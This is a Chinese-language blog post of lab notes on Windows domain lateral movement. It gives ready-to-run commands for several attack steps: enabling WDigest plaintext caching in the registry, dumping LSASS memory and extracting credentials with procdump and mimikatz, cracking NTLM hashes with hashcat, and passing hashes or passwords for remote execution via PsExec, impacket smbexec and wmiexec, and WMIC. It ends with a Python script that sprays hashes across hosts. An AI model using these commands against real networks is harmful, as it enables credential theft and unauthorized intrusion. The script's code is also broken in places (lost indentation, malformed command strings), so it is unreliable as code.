8.18域橫向smb&wmi明文或hash傳遞

路Sang發表於2024-09-05

知識點

windows 2012以上版本預設關閉wdigust,攻擊者無法從記憶體中獲取明文密碼;

Windows2012以下版本如安裝KB287199補丁,同樣也無法從記憶體中獲取明文密碼;

解決方法:

1、利用雜湊hash傳遞(ptl、ptk等)進行移動

2、利用其他服務協議(SMB、WMI等)進行雜湊移動

3、利用登錄檔操作開啟wdigust、Auth值進行獲取

4、利用工具或第三方平臺(Hachcat)進行破解

知識點2:

Windows系統LM Hash及NTLM Hash加密演算法,個人系統在Windows vista後,伺服器系統在Windows 2003以後,認證方式均為NTLM Hash。

登錄檔修改開啟Wdigest Auth值

reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f

Procdump(windows官方自帶)+Mimikatz配合獲取

優點:isass.dump包括一些windows本地策略和賬戶管理,獲取lsass.dmp檔案後,可在本地mimikatz解密;
cmd切換盤:cd /d 目標地址

當mimikatz獲取失敗時配合procdump獲取密碼

1、生成儲存著密碼hash值的.dmp檔案

procdump -accepteula -ma lsass.exe lsass.dmp

2、將dmp檔案放到mimikatz上執行

提權: privilege::debug

記錄控制檯輸入結果:log

sekurlsa::minidump lsass.dmp

sekurlsa::logonPasswords full

附兩款提取密碼的軟體

Pwdump7

QuarksPwdump

Hashcat工具破解獲取Windows NTML Hash


    hashcat -a 0 -m 1000 hash file --force

該工具還支援更多密碼破解 

32ed87bdb5fdc5e9cba88547376818d4

利用SMB服務透過明文hash傳遞遠端執行,條件445服務埠開放即可;

1、psexec第一種(pstool中的PsExec.exe檔案):先有ipc連結,psexec需要明文或hash傳遞

需要先有ipc連結,-s以System許可權執行

net use \[IP]\ipc$"[密碼]" /user:[使用者名稱]

net use \192.168.79.132\ipc$ lcn#123456 /user:lcn.cn\Administrator #建立tcp連線

PsExec.exe \192.168.79.132 -s cmd

2、psexec第二種:不用建立IPC直接提供明文賬戶密碼

PsExec.exe \[IP] -u [使用者名稱] -p [密碼] -s cmd

PsExec.exe \192.168.79.132 -u administrator -p lcn#123456 -s cmd

PsExec.exe -hashes :[密碼的hash值] ./[使用者名稱]@[IP]

PsExec.exe -hashes :b7f2f7b2491ba316e8cd773f8c2d58df ./administrator@192.168.79.132

PsExec.exe -hashes :$HASH$ ./administrator@10.1.2.3

PsExec.exe -hashes :[密碼的hash值] [域名]/[使用者名稱]@[IP]

PsExec.exe -hashes :$HASH$ domain/administrator@10.1.2.3

嘗試失敗。。

官方Pstools無法採用hash連線,可以使用impacket工具包,操作簡單,容易被殺

3smbexec無需先ipc連結明文或hash傳遞

smbexec [域名]/[使用者名稱]:[密碼]@[IP]

smbexec lcn.cn/administrator:lcn#123456@192.168.79.132

smbexec ./[使用者名稱]:[密碼]@[IP]

smbexec ./administrator:lcn#123456@192.168.79.132

smbexec -hashes :[密碼的hash值] ./[使用者名稱]@[IP]

smbexec -hashes :$HASH$ ./lcn#123456@192.168.79.132

smbexec -hashes :[密碼的hash值] [域名]/[使用者名稱]@[IP]

smbexec -hashes :$HASH$ lcn.cn/administrator@192.168.79.132

 smbexec -hashes :b7f2f7b2491ba316e8cd773f8c2d58df  lcn.cn/administrator@192.168.79.132

使用impacket工具包中的psexec模板同理

psexec -hashes :b7f2f7b2491ba316e8cd773f8c2d58df  lcn.cn/administrator@192.168.79.132

如何區分本地和域使用者

net user :本地使用者
net user /domain:域使用者;連線域使用者需加域名;

域橫向移動WMI服務利用-cscript、wmiexec、wmic

WMI(Windows Management Instrumentation)是==透過135埠進行利用,支援使用者名稱明文或者hash的方式進行認證,並且該方法不會在目標日誌系統留下痕跡。==**

**1、自帶WMIC明文傳遞,無回顯

wmic /node:[IP] /user:[使用者名稱] /password:[密碼] process call create "[命令]"

wmic /node:192.168.79.130 /user:administrator /password:admin@123 process call create "cmd.exe /c ipconfig >C:\1.txt"

(執行cmd,執行ipconfig並將結果輸出到C盤下的1.txt中)

2、自帶cscript明文傳遞,有回顯,需要下載wmiexec.vbs配合

cscript //nologo wmiexec.vbs /shell [IP] [使用者名稱] [密碼]

cscript //nologo wmiexec.vbs /shell 192.168.79.130 administrator admin@123

會反彈一個shell

3、套件impacket wmiexec明文或hash傳遞,有回顯exe版本,可能被殺

wmiexec ./[使用者名稱]:[密碼]@[IP] "[命令]"

wmiexec ./administrator:lcn#123456@192.168.79.132 "whoami"

wmiexec [域名]/[使用者名稱]:[密碼]@[IP] "[命令]"

wmiexec lcn.cn/administrator:lcn#123456@192.168.79.132 "whoami"

wmiexec -hashes :[密碼的hash值] ./[使用者名稱]:[密碼]@[IP] "[命令]"

wmiexec -hashes :579da618cfbfa85247acf1f800a280a4 ./administrator@192.168.79.130 "whoami"

wmiexec -hashes :[密碼的hash值] [域名]/[使用者名稱]:[密碼]@[IP] "[命令]"

wmiexec -hashes :579da618cfbfa85247acf1f800a280a4 god/administrator@192.168.3.21 "whoami"

域橫向移動以上服務hash批次利用-python編譯exe

利用py指令碼製作的exe檔案批次嘗試橫向滲透

內網橫向滲透攻擊思路

透過mimikatz收集明文或hash值的密碼,“net user /domain”收集域內的使用者名稱,“for /L %I in (1,1,254) DO @ping -w 1 -n 1 192.168.3.%I | findstr "TTL="”探索域記憶體活地址

批次掃描,用密碼撞庫

收集更多密碼

重複2、3步
``
```
import os
import time
ips={
'192.168.79.128',
'192.168.79.129',
'192.168.79.130',
'192.168.79.132'
}
users={
'admin',
'Administrator',
'administrator',
'userlu',
'testuser',
'juligan'
}
hashs={
'579da618cfbfa85247acf1f800a280a4',
'b7f2f7b2491ba316e8cd773f8c2d58df'
}
'''
passs={
'admin@123', 'admin!123', 'admin#123', 'lcn#123456'}
'''
for ip in ips:
for user in users:
for hash in hashs:
# wmiexec -hashes :579da618cfbfa85247acf1f800a280a4 ./administrator@192.168.3.21 "whoami"
exec="wmiexec -hashes :" +hash +' lcn.cn/' +user+ '@'+ ip + "whoami"
execs = "wmiexec -hashes :" + hash + ' ./administrator' + user + '@' + ip + "whoami"
print('--》'+exec+'《--')
os.system(exec)
time.sleep(1)


### 涉及資源:

Hashcat:https://github.com/hashcat/hashcat

密碼破解全能工具:Hashcat密碼破解攻略:https://www.freebuf.com/sectool/164507.html

mimikatz:https://github.com/gentilkiwi/mimikatz

impacket:https://github.com/SecureAuthCorp/impacket

impacket-examples-windows:https://gitee.com/RichChigga/impacket-examples-windows

PsTools:https://docs.microsoft.com/zh-cn/sysinternals/downloads/pstools

ProcDump:https://docs.microsoft.com/zh-cn/sysinternals/downloads/procdump

wmiexec.vbs:https://github.com/realdeveloperongithub/K8tools/blob/master/wmiexec.vbs

wmiexec.vbs(找了倆):https://gitee.com/mirrors/K8tools/blob/master/wmiexec.vbs

相關文章